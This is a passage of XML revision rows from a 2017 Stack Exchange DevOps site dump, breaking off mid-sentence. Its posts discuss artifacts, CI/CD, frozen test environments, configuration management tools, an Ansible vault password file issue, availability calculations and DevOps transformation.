  <row Id="2892" PostHistoryTypeId="5" PostId="466" RevisionGUID="271a67af-4bf2-42a1-86f2-db20a4515f1f" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="The question about &quot;https://devops.stackexchange.com/q/452/40&quot; contains an answer with an [interesting explanation][1] about the repository part of it.&#xD;&#xA;And from reading the entire answer, I am not sure what exactly an &quot;*artifact*&quot; means in the context of DevOps.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;Ps: From one of the answers I seem to understand that maybe **artefact** is what I'm wondering (confused?) about ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/453/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="2893" PostHistoryTypeId="5" PostId="478" RevisionGUID="b15c2cab-57b7-4a0d-983a-a52cb69d35b8" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="So here is your job role:&#xD;&#xA;&#xD;&#xA;- You help in designing common modules that allow other teams to easily deploy their code onto production. This includes Java code, dockerfiles, ansible modules, build pipeline configurations, etc.&#xD;&#xA;- You help promote DevOps practices for both other developer teams and the operation teams&#xD;&#xA;- You are partially responsible for the staging environments&#xD;&#xA;- You are responsible for investigating technologies that help the applications scale better and be more reliable&#xD;&#xA;&#xD;&#xA;How would you identify your team? How would you identify yourself? You know that you could cheat and include DevOps in your name, but [that would be wrong][1]. On the other hand you want to be more specific, so a simple Software Engineer won't cut it, especially since you want the &lt;strike&gt;annoying&lt;/strike&gt; recruiters to contact you for jobs related to this practice, not just because you like it, but because you know [the average salary is also higher][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/468/how-do-i-hire-a-good-devops-fitting-my-company&#xD;&#xA;  [2]: http://stackoverflow.com/insights/survey/2016#work-salary" ContentLicense="CC BY-SA 3.0" />
  <row Id="2894" PostHistoryTypeId="5" PostId="481" RevisionGUID="eb0134c5-c6f0-4d82-b07c-0f7843e77e27" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Technically mentioning DevOps *might* be wrong (the question you referenced is also subject to opinions). &#xD;&#xA;&#xD;&#xA;But it can also be seen as clarifying/disambiguating - the term is widely used presently on the job market, not only according to your salary reference but also from the job ads themselves - see https://devops.stackexchange.com/questions/157/what-is-the-difference-between-sysadmin-and-devops-engineer.&#xD;&#xA;&#xD;&#xA;You'd only speak the recruiters' language - which is IMHO more important from the communication prospective than potentially being technically correct.&#xD;&#xA;&#xD;&#xA;Language and culture are fluid - something wrong may become de-facto correct and vice-versa." ContentLicense="CC BY-SA 3.0" />
  <row Id="2895" PostHistoryTypeId="5" PostId="494" RevisionGUID="3cccb397-1840-467a-b591-f4b1c1a93eb2" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="The accepted answer to my question about &quot;https://devops.stackexchange.com/questions/488&quot; also explains the ***small difference*** between *continuous delivery* and *continuous deployment*. It appears to be related to the answer to a question like &quot;How do you want to deploy to production, whereas these are the (exclusive) options to pick from:&#xD;&#xA;&#xD;&#xA;- Auto(matic).&#xD;&#xA;- Manual.&#xD;&#xA;&#xD;&#xA;I cannot imagine that there will be a poor &quot;operator&quot; at the other side of the DevOps wall, who is going to have to do something that corresponds to whatever that &quot;manual&quot; means ... My questions:&#xD;&#xA;&#xD;&#xA;- Is my reference (in my question) to &quot;distribute&quot; versus &quot;install&quot; close to a possible implementation of such &quot;manual&quot;-thing? Here is a relevant quote of my related question:&#xD;&#xA;&#xD;&#xA;&gt; - ***distribute*** to some target environment, using something like FTP (if standard copies cannot bridge the gap), but do not yet activate it in the target. That's what should be similar/close to _continuous delivery_, or not?&#xD;&#xA;&gt; - ***install*** (or *activate*) in some target environment, combined with things like binds, stop/start operations, etc. That's what should be similar/close to _continuous deployment_, or not?&#xD;&#xA;&#xD;&#xA;- What are other possible implementations of it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2896" PostHistoryTypeId="5" PostId="513" RevisionGUID="485a47f1-96ed-4a66-addd-634fc909af81" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Here is a partial quote from [an answer][1] to the question about &quot;https://devops.stackexchange.com/q/498/40&quot;:&#xD;&#xA;&#xD;&#xA;&gt; This environment usually freezes during the tests.&#xD;&#xA;&#xD;&#xA;My question: what are sample implementations of a frozen environment? I.e. what can you do to technically enforce that nobody (except if allowed by an authorized user like a release manager) will be able to change anything in such frozen environment.&#xD;&#xA;&#xD;&#xA;**Clarifications**:&#xD;&#xA;&#xD;&#xA;- I'm not talking about what (I think) is called &quot;frozen periods&quot; during (eg) year-end processing in banks. That is about not being allowed to apply any (repeat any) changes to production environments, to reduce the risk of new changes/fixes being introduced that may impact the year-end processing.&#xD;&#xA;&#xD;&#xA;- Assume that users who are allowed to approve/apply changes anyway (such as the release manager in my example), will only do so in exceptional cases. Such as where during testing a high severity issue is encountered, for which deferring a fix to a next release is not an option (since it would production at risk if the release would be activated without such fix).&#xD;&#xA;&#xD;&#xA;- This could just be about suspending any automated update during the time of the test. The point is: avoid someone else upgrading an Application A to version Y while another team is still testing application B in version X which rely on application A. This could mean having a guard to avoid a test team to require an update on a dependency under test.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/499/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="2897" PostHistoryTypeId="5" PostId="527" RevisionGUID="7c73f952-5cc3-49ef-a28a-3e17b761c374" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="What they are talking about is [Kaizen][1] [5M][2] (Man, Machine, Material, Method, Measurement). It is approach to continuous improvement at every station in the process and the Ms are possible points of improvement and to which there is a corresponding question (5Qs). Sometimes Environment is added for 6th, like in this process that [explains how to construct the questions][3] using the [Ishikawa diagram][4]. These are pretty much essentials of the [TPS][5] / [Lean Manufacturing][6]. But the improvements are not in utilization, they are improvements in quality. You never strive for utilization as that is counterproductive to the [throughput of the system][7].&#xD;&#xA;&#xD;&#xA;It is important to understand that Man, Machine, Material, Method and Measurement are not easily separated. Sometimes Machine, Material and Measurement come on one side together and Man and Method on the other side. As you can replace a Man and a Method on that work station.&#xD;&#xA;&#xD;&#xA;In terms of software development, you have Software (Machine), Issues (Material), Code Quality/Acceptance (Measurement), Man (Programmer) and Method (Development Process). The man trains on the machine and becomes familiar with it, with the material being worked on, understands the measurement required, learns the process. All those are living in the Man's brain and so are not easily separated once learned. Changing a Method is only possible if the Man has not fully internalized it yet, otherwise it gets easier to change Man and Method. Also Machine, Material and Measurement are often tied together through automation and configuration. That is why those are being drawn on opposite sides of the diagram.&#xD;&#xA;&#xD;&#xA;If you read the book carefully, it does not really talk about utilization other than on the bottleneck of a value chain. In order to elevate and exploit the bottleneck. Several methods are employed for that in the book, including [Kanban][8]. &#xD;&#xA;&#xD;&#xA;You don't want to optimize the individual stations of your process (Customer-&gt;Support-&gt;Development-&gt;Review-&gt;Testing-&gt;User Acceptance-&gt;Deployment-&gt;Customer), but you need to model the transitions between those work stations, their dependencies and to monitor [Work In Process][9] (WIP) moving through the system. Usually through an [Issue Tracking Software][10] (or Kanban system), which is equivalent to materials tracking in manufacturing. Where the WIP piles up in front of the work station in your critical chain process, you will find your bottleneck and that is the place where you want to optimize using Kaizan (5Ms,5Qs) &#xD;&#xA;&#xD;&#xA;**Notice:** *I've added Customer both at the start and the end of your process, as each value chain has to start and end with a Customer otherwise it does not represent value to the company.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Kaizen&#xD;&#xA;  [2]: http://www.kaizenworld.com/kaizen-glossary.html&#xD;&#xA;  [3]: http://www.transition-support.com/6ms_to_6qs.pdf&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Ishikawa_diagram&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Toyota_Production_System&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Lean_manufacturing&#xD;&#xA;  [7]: https://devops.stackexchange.com/a/525/228&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/Kanban_(development)&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/Work_in_process&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/Issue_tracking_system" ContentLicense="CC BY-SA 3.0" />
  <row Id="2898" PostHistoryTypeId="5" PostId="572" RevisionGUID="a5f1207a-0096-4a82-819f-ab4db2beb0a0" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="I would separate the CI and CD contexts, as the periodicity in one of them is rather loosely coupled to the periodicity in the other one. &#xD;&#xA;&#xD;&#xA;That's primarily because CI attempts to produce versions of software *available* for delivery/distribution, see https://devops.stackexchange.com/questions/488/how-does-continuous-integration-relate-to-continuous-delivery-deployment/493#493&#xD;&#xA;But not all CI executions are successful. CD periodicity will, at best, be equal to the CI one, but typically it will be lower.&#xD;&#xA;&#xD;&#xA;In CI the periodicity is tightly coupled to the desired development velocity (and maybe branch stability) and can be driven by different project-specific requirements. Here are just some examples of CI execution patterns, there could be others:&#xD;&#xA;&#xD;&#xA;1. launched for every changeset commit - the recommended one, as it offers the shortest time to identify a changeset causing a regression, see [Build on each commit - Continuous delivery][1]. Costs vary with the commit rates.&#xD;&#xA;&#xD;&#xA;2. launched every `N` (fixed number of) commits - trade culprit identification performance of #1 for slightly lower costs (overall fewer executions)&#xD;&#xA;&#xD;&#xA;3. launched every `T` (fixed) time interval&#xD;&#xA;&#xD;&#xA;  - fixed costs due to predictive amount of executions: no cost hikes for commit activity peaks, a day with twice the number of commits than another will still cost the same&#xD;&#xA;  - culprit identification performance drops vs #1 if multiple changesets are committed within `T`&#xD;&#xA;  - consecutive executions without any changeset committed in between offer measurements of the verification process reliability - different results in such executions could indicate unreliable verifications&#xD;&#xA;&#xD;&#xA;4. launched whenever resources for execution are available - if that's where the bottleneck of the process lies. Any of the above categories can appear depending on the pattern of commits relative to the intervals between executions. This maximizes the verification resources ROI.&#xD;&#xA;&#xD;&#xA;5. launched with one pattern during working hours and a different pattern overnight - to balance computing resources utilisation, for example.&#xD;&#xA;&#xD;&#xA;Another possible reason for periodicity mismatch between CI and CD is the variability in the duration of the CI executions. Caused, for example, by that prohibited build schedule policy you mentioned (see also https://devops.stackexchange.com/questions/513/how-to-implement-a-frozen-test-environment) Or by builds executed on classes of servers with significantly different performance, thus lasting different amounts of time.&#xD;&#xA;&#xD;&#xA;Even for a successful CI execution in which the produced software version qualifies and is available for deployment it doesn't necessarily mean it will also be immediately deployed (or even deployed at all). There can be other criteria or policies preventing it (business reasons, for example).&#xD;&#xA;&#xD;&#xA;  [1]: https://softwareengineering.stackexchange.com/questions/334574/build-on-each-commit-continuous-delivery" ContentLicense="CC BY-SA 3.0" />
  <row Id="2899" PostHistoryTypeId="5" PostId="632" RevisionGUID="8480869e-b2a2-4472-a4e2-141668134165" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="I've never heard of an &quot;Environment Manager.&quot;  Release Management, on the other hand, has historically been consolidated to a single person or team.  &#xD;&#xA;&#xD;&#xA;In a DevOps model, Release Management is more of a process supported by elements from both Dev and Ops.  Organizations at high levels of &quot;DevOps maturity&quot; don't really have a distinct Release Management *event*- the act of releasing is baked into the Continuous Delivery pipeline (see &quot;push on green&quot; https://devops.stackexchange.com/questions/573/what-is-push-on-green)  &#xD;&#xA;&#xD;&#xA;It's possible the OP is also referring to *Configuration Management*, where environment-specific configurations are managed manually, or by tools like Puppet or Chef.  That work is traditionally an Ops-managed task, with higher-maturity orgs handling that through code.  Responsibility may be shared between Dev and Ops, or there may be a dedicated SRE team that deals with Config Management.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2900" PostHistoryTypeId="5" PostId="645" RevisionGUID="e661a5c6-6380-4f57-bc79-169470d57e5a" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="You don't. &#xD;&#xA;&#xD;&#xA;Despite your enthusiasm about DevOps, non-tech bosses don't really share your fascination with the techie lingo. &#xD;&#xA;&#xD;&#xA;First, show your bosses the benefit of a small pilot projects you have done. Collect some useful data points to prove your case. (Found this question that could help: [What are some methods to measure the ROI for DevOps?][1])&#xD;&#xA;&#xD;&#xA;Next, tell your bosses you have a project that could bring more benefits but need a small investment. (Try to figure out a project that don't let your bosses fall off the chair. You should have a feel of what this figure is if you have been working with your bosses for a while.)&#xD;&#xA;&#xD;&#xA;Once you got the investment, do an excellent job of achieving the objective. Better yet, wildly exceed it!&#xD;&#xA;&#xD;&#xA; Now, when finally the bosses ask you &quot;So what did you do that brought us so much benefits?&quot;&#xD;&#xA;&#xD;&#xA;This is the time that you proclaim:&#xD;&#xA;&#xD;&#xA;&quot;DevOps&quot;&#xD;&#xA;&#xD;&#xA;And ask for more investment for your next devops project. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/427/350" ContentLicense="CC BY-SA 3.0" />
  <row Id="2901" PostHistoryTypeId="5" PostId="648" RevisionGUID="5440cc24-6b00-4d66-bcbd-76544f062646" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Everything in the previous answers is true, but I think there are some things missing to actually get the approval and commitment from your bosses (BTW: most people only have 1 boss at max ...).&#xD;&#xA;&#xD;&#xA;Sooner or later Mr. Murphy will come along (= *Anything that can go wrong, will go wrong, and it shall go wrong when it shouldn't go wrong*). And at that point some boss(es) will want to get answers to questions like this one:&#xD;&#xA;&#xD;&#xA;&gt; What happened when and why, and which authorized user actually approved it ... upfront?&#xD;&#xA;&#xD;&#xA;And at that point you'll get the real ROI from DevOps-practices you'll have in place ... And/or all of a sudden get all sorts of huge budget approvals to implement what you seem to be looking for.&#xD;&#xA;&#xD;&#xA;Even if it would take too long for Murphy to come by, your company might also run into requirements such as what Richard described in the question &quot;https://devops.stackexchange.com/q/559/40&quot; (those kind of requirements scare CxOs ...).&#xD;&#xA;&#xD;&#xA;But, if you ever have to introduce &quot;DevOps&quot; to somebody who is new to it, it may help them to &quot;warn&quot; them upfront like &quot;***OK, so you want to start DevOps practices, great! But be aware that it is like switching to another religion ...***&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2902" PostHistoryTypeId="5" PostId="651" RevisionGUID="4c3dfb00-74c0-4802-80fd-80428d9071ff" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Off the back of my [answer][1] to the question: [How can DevOps help to improve Software Escrow procedures?][2] Tensibai had the question:&#xD;&#xA;&#xD;&#xA;&gt; What would necessitate Capistrano on top of puppet or chef?&#xD;&#xA;&#xD;&#xA;My response was to post a link to [Noah Gibbs' article &quot;Do We Need Both Capistrano and Chef?&quot;][3].  Personally, I still subscribe to Noah's view that it is most appropriate to:&#xD;&#xA;&#xD;&#xA; - use a specialist deployment tool such as Capistrano for deployments.&#xD;&#xA; - use a specialist configuration management tool such as Chef for configuration management.&#xD;&#xA;&#xD;&#xA;The fundamental approach that each type of tool uses to complete its task is very different:&#xD;&#xA;&#xD;&#xA; - **Configuration Management Tools** - are about creating and maintaining the desired state of a system, they are inherently idempotent in nature. Examples of configuration management tools are [Chef][4], [Puppet][5], [Ansible][6], [PowerShell DSC][7], [Salt Stack][8].&#xD;&#xA;&#xD;&#xA; - **Deployment Tools** - are about delivering *versions* of software into a hosting environment, they provide functionality to maintain multiple versions of the software on multiple machines and manage which version is &quot;current&quot;, they are inherently imperative in nature.  Examples of deployment tools are [Capistrano][9], [Octopus Deploy][10], [Deployer][11] and [Command.io][12].&#xD;&#xA;&#xD;&#xA;I do believe that Configuration Management Tools can do the job of deployment tools and in the case of [Immutable Infrastructure][13] they are the most appropriate tool for the job as software versions on the target don't need to be maintained.&#xD;&#xA;&#xD;&#xA;**Question:** Have configuration management tools such as Chef, Ansible and Puppet matured to the point that they are capable of fulfilling both the idempotent and imperative models?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/649/397&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/646/397&#xD;&#xA;  [3]: http://codefol.io/posts/why-do-we-need-both-capistrano-and-chef&#xD;&#xA;  [4]: https://www.chef.io/chef/&#xD;&#xA;  [5]: https://puppet.com/&#xD;&#xA;  [6]: https://www.ansible.com/&#xD;&#xA;  [7]: https://msdn.microsoft.com/en-us/powershell/dsc/overview&#xD;&#xA;  [8]: https://saltstack.com/&#xD;&#xA;  [9]: http://capistranorb.com/&#xD;&#xA;  [10]: https://octopus.com&#xD;&#xA;  [11]: https://deployer.org/&#xD;&#xA;  [12]: https://commando.io/&#xD;&#xA;  [13]: https://www.oreilly.com/ideas/an-introduction-to-immutable-infrastructure" ContentLicense="CC BY-SA 3.0" />
  <row Id="2903" PostHistoryTypeId="5" PostId="670" RevisionGUID="456eb7a6-0c58-401e-8181-289968cc3b2b" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="The accepted answer to &quot;https://devops.stackexchange.com/q/337/40&quot; suggests that GitHub's [Pull Request model][1] is a possible implementation.&#xD;&#xA;&#xD;&#xA;And my own answer to &quot;https://devops.stackexchange.com/q/437/40&quot; explains the concept of ***post-approvals***.&#xD;&#xA;&#xD;&#xA;**My question**: Can GitHub's Pull Request model be used for implementing post approvals also? If so: how? If not, is there anything else in Git (GitHub?) that I could use for it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.github.com/articles/about-pull-requests/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2904" PostHistoryTypeId="5" PostId="694" RevisionGUID="acbdb1a4-4c68-40a9-b544-c51e0439c801" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="I do agree with [Tensibai's Answer][1] in that SecOps is as much as a buzz-word as DevOps itself and that SecOps is a stepping stone between a siloed organisation and cohesive organisation.&#xD;&#xA;&#xD;&#xA;I have observed the flip side to also be true, that is, if you have an organisation who is operating using a DevOps Model, with DevOps ways of working and following DevOps Practice, they may appoint someone in a SecOps role to integrate [IT Security][2] practice into the model.&#xD;&#xA;&#xD;&#xA;Quite commonly this is branded as DevSecOps or DevOpsSec so as to bridge all three disciplines.&#xD;&#xA;&#xD;&#xA;Further Reading:&#xD;&#xA;&#xD;&#xA; - [DevOpsSec by Jim Bird][3]&#xD;&#xA; - [DevSecCon: A DevSecOps Conference][4]&#xD;&#xA; - [Velocity EU: Continuous Security][5]&#xD;&#xA;&#xD;&#xA;Of the above I am currently reading Jim Bird's book, have had the pleasure of working with [the organizer][6] of DevSecCon in a previous role and had the privalage of attending the Velocity Session in Amsterdam last year.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/688/397&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Computer_security&#xD;&#xA;  [3]: https://www.safaribooksonline.com/library/view/devopssec/9781491971413/&#xD;&#xA;  [4]: http://www.devseccon.com/&#xD;&#xA;  [5]: https://www.safaribooksonline.com/library/view/velocity-2016-/9781491958537/video290680.html&#xD;&#xA;  [6]: https://www.linkedin.com/in/francoisraynaud" ContentLicense="CC BY-SA 3.0" />
  <row Id="2905" PostHistoryTypeId="5" PostId="721" RevisionGUID="e05fc01e-727e-4127-ba81-ada936780bc0" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Follow-up to this [Q&amp;A][1].&#xD;&#xA;&#xD;&#xA;According to this and this documentation it should be possible to define a default vault password file by specifying `vault_password_file = ~/.vault_pass.txt` in one of the following files:&#xD;&#xA;&#xD;&#xA;&gt;     * ANSIBLE_CONFIG (an environment variable)&#xD;&#xA;&gt;     * ansible.cfg (in the current directory)&#xD;&#xA;&gt;     * .ansible.cfg (in the home directory)&#xD;&#xA;&gt;     * /etc/ansible/ansible.cfg&#xD;&#xA;&#xD;&#xA;Although the password file exists and the log indicates that the ansible.cfg is used that contains the definition, the decryption fails:&#xD;&#xA;&#xD;&#xA;    user@host$&#xD;&#xA;    Using /etc/ansible/ansible.cfg as config file&#xD;&#xA;    ERROR! Decryption failed on /path/to/ansible/group_vars/production/vault&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA; - &gt; Is the pass correct for this vault?&#xD;&#xA;&#xD;&#xA;Yes. When ansible is run using `--vault-password-file=~/.vault_pass.txt` the decryption succeeds.&#xD;&#xA;&#xD;&#xA; - &gt; Just so that we're clear - the name of the environment variable is `ANSIBLE_VAULT_PASSWORD_FILE`, correct?&#xD;&#xA;&#xD;&#xA;No. When this variable is used it works, but the aim is to set it in the ansible.cfg by setting `/etc/ansible/ansible.cfg`.&#xD;&#xA;&#xD;&#xA; - &gt; What Ansible version is used?&#xD;&#xA;&#xD;&#xA;        user@host:/dir$ ansible --version&#xD;&#xA;        ansible 2.2.2.0&#xD;&#xA;            config file = /etc/ansible/ansible.cfg&#xD;&#xA;            configured module search path = Default w/o overrides&#xD;&#xA;&#xD;&#xA; - &gt; Does using a full path in the config works?&#xD;&#xA;&#xD;&#xA;The decryption failes as well when the full path instead of `~`, i.e. `/home/user/.vault_pass.txt` was specified.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/703/210" ContentLicense="CC BY-SA 3.0" />
  <row Id="2906" PostHistoryTypeId="5" PostId="732" RevisionGUID="cabc5c65-1651-4eab-816e-d1b71da1f61e" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="After reading [Tensibai's excellent answer][1], I realised I used to be able to calculate this for network analysis purposes.  I dug out my copy of [High Availability Network Fundamentals][2] by Chris Oggerino and had a crack at working this out from, not quite first principals.&#xD;&#xA;&#xD;&#xA;Taking my serial example directly out of Tensibai's answer is simply a case of multiplying the probability of each component being available by the other:&#xD;&#xA;&#xD;&#xA;[![Serial Availability][3]][3]&#xD;&#xA;&#xD;&#xA;So &#xD;&#xA;&#xD;&#xA;&gt; 99.95% * 99.95% = **99.9%**&#xD;&#xA;&#xD;&#xA;Calculating it in parallel is a little more complicated as we do need to consider what the percentage *un*availability will be:&#xD;&#xA;&#xD;&#xA;[![Serial and Parallel Availability][4]][4]&#xD;&#xA;&#xD;&#xA;The calculation is done as follows:&#xD;&#xA;&#xD;&#xA; 1. Multiply the *un*availability of the two regions together.&#xD;&#xA;&#xD;&#xA;  &gt; 0.1% * 0.1% = **0.0001%**&#xD;&#xA;&#xD;&#xA; 2. Convert that back to availability&#xD;&#xA;&#xD;&#xA;  &gt; 100% - 0.0001% = **99.9999%**&#xD;&#xA;&#xD;&#xA; 3. Multiply the Traffic Manager availability by the availability of the two regions.&#xD;&#xA;&#xD;&#xA;  &gt; 99.99% * 99.9999% = **99.9899%**&#xD;&#xA;&#xD;&#xA; 4. The result is the whole system availability.&#xD;&#xA;&#xD;&#xA;  &gt; 99.9899% is close to **99.99%**&#xD;&#xA;&#xD;&#xA;I ended up using Excel to perform the calculations, here is the values:&#xD;&#xA;&#xD;&#xA;[![Excel Values][5]][5]&#xD;&#xA;&#xD;&#xA;... and the formulas ...&#xD;&#xA;&#xD;&#xA;[![Excel Formulas][6]][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/715/397&#xD;&#xA;  [2]: https://www.amazon.co.uk/Availability-Network-Fundamentals-Chris-Oggerino-ebook/dp/B0015T6G44&#xD;&#xA;  [3]: https://i.stack.imgur.com/ux8vH.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/dWKLI.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/67BzD.png&#xD;&#xA;  [6]: https://i.stack.imgur.com/u2POH.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2907" PostHistoryTypeId="5" PostId="763" RevisionGUID="f7b9faa3-579b-480d-bd81-73c3ed7d6be9" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="I would integrate the schema management into the application itself (or along with it).&#xD;&#xA;&#xD;&#xA;Any change to the schema should be committed along the application code (and hence tagged also).  &#xD;&#xA;&#xD;&#xA;There's already a bunch of possibilities listed in this question: [What practices or tools enable Continuous Deployment of Databases](https://devops.stackexchange.com/questions/742/what-practices-or-tools-enable-continuous-deployment-of-databases)&#xD;&#xA;&#xD;&#xA;With this kind of tools, using an in memory database like h2 or a central database and having the application check the schema version (stored in the DB) when started allow to get an updated database schema at application startup. &#xD;&#xA;&#xD;&#xA;This will not solve your discipline problem and may create new ones, as this usually comes with a strict versioning of the schema, enforcing the version can be done with pre-commit hooks but that's a hard work." ContentLicense="CC BY-SA 3.0" />
  <row Id="2908" PostHistoryTypeId="5" PostId="773" RevisionGUID="b73d59b2-d85e-4eb4-b0ce-0d305e36d45b" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="As alluded to by [Tensibai ♦][1], I think the answers you are looking for start from my answer to &quot;[What is SecOps?][2]&quot;, specifically from the &quot;Further Reading&quot; section:&#xD;&#xA;&#xD;&#xA; - [DevOpsSec by Jim Bird][3]&#xD;&#xA; - [DevSecCon: A DevSecOps Conference][4]&#xD;&#xA; - [Velocity EU: Continuous Security][5]&#xD;&#xA;&#xD;&#xA;Of the above I am currently reading Jim Bird's book, have had the pleasure of working with [the organiser][6] of DevSecCon in a previous role and had the privilege of attending the Velocity Session in Amsterdam last year.&#xD;&#xA;&#xD;&#xA;I would advise you to reach out to [Francois Raynaud][6] and ask the question of him, he has worked in the space for a long time and is really helping the community evolve as part of DevOps.&#xD;&#xA;&#xD;&#xA;Beyond my links, the O'Reilly Security Conference has published videos on Safari Books Online:&#xD;&#xA;&#xD;&#xA; - 2016&#xD;&#xA;   - [New York, NY][7]&#xD;&#xA;   - [Amsterdam, Netherlands][8]&#xD;&#xA;   - [San Francisco, California][9]&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/13/tensibai&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/686/what-is-secops&#xD;&#xA;  [3]: https://www.safaribooksonline.com/library/view/devopssec/9781491971413/&#xD;&#xA;  [4]: http://www.devseccon.com/&#xD;&#xA;  [5]: https://www.safaribooksonline.com/library/view/velocity-2016-/9781491958537/video290680.html&#xD;&#xA;  [6]: https://www.linkedin.com/in/francoisraynaud&#xD;&#xA;  [7]: https://www.safaribooksonline.com/library/view/the-oreilly-security/9781491960035/&#xD;&#xA;  [8]: https://www.safaribooksonline.com/library/view/oreilly-security-conference/9781491976128/&#xD;&#xA;  [9]: https://www.safaribooksonline.com/search/?query=Security%20Conference&amp;highlight=true&amp;is_academic_institution_account=false&amp;extended_publisher_data=true&amp;include_orioles=true&amp;source=user&amp;include_courses=true&amp;sort=relevance" ContentLicense="CC BY-SA 3.0" />
  <row Id="2909" PostHistoryTypeId="5" PostId="777" RevisionGUID="b0634b8f-8452-447d-901c-23661cdef4fd" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="I need to put my answer to this question in the context of what DevOps is, more specifically within the DevOps transformations I have been part of, DevOps is the ownership of the full Software Development Lifecycle. All of the practices in the chart are an important part of DevOps, and they enable and underpin both [Systems Thinking][1] and [Amplification of Feedback Loops][1].&#xD;&#xA;&#xD;&#xA;However, the key differentiator between CI/CD and DevOps is the actual operation of software in a production environment, where it can deliver value to its customers and the business it serves.  &#xD;&#xA;&#xD;&#xA;[![DevOps Lifecycle][2]][2]&#xD;&#xA;&#xD;&#xA;As a consultant participating in or leading a DevOps transformation I have the following aspects in the front of my mind:&#xD;&#xA;&#xD;&#xA; - **Culture**: As [Dave quite rightly pointed out][3] a [Culture of Continuous Experimentation and Learning][1] is critical to the success of any transformation.  From a DevOps perspective this comes down to how do we engender a culture that is supportive of the chosen DevOps model, this model could be &quot;You Build It, You Run It&quot; or it could be more along the lines of Google's [Site Reliability Engineering][4] practice.&#xD;&#xA;&#xD;&#xA; - **Operating Model**: This is the part of the business proposition that articulates how the organisation will be delivering value, generally by articulating the People, Process and Tools used tied together at a high level.  Without an operating model, you have no blueprint for the way the organisation adopt the practices that the culture defines, this, in turn, leads to a lack of clarity and divergent behaviours.&#xD;&#xA;&#xD;&#xA; - **C-Level Aircover**: It is often our job as consultants working within transformation programmes to make radical changes to the way business works.  You are going to upset people, and some people won't like the changes - it is important that you have &quot;air cover&quot; from above to change things and move forwards.&#xD;&#xA;&#xD;&#xA;Once the high level is in place it is important to find something you can realistically deliver:&#xD;&#xA;&#xD;&#xA; 1. Start as small as possible, ideally, once you have some people who understand the culture, a sketch of an operating model and buy-in from the executives create the &quot;Minimum Viable Project&quot;, don't attempt to boil the ocean by introducing DevOps to an audience of thousands.  Set an achievable goal:&#xD;&#xA;   - Automate the creation of the 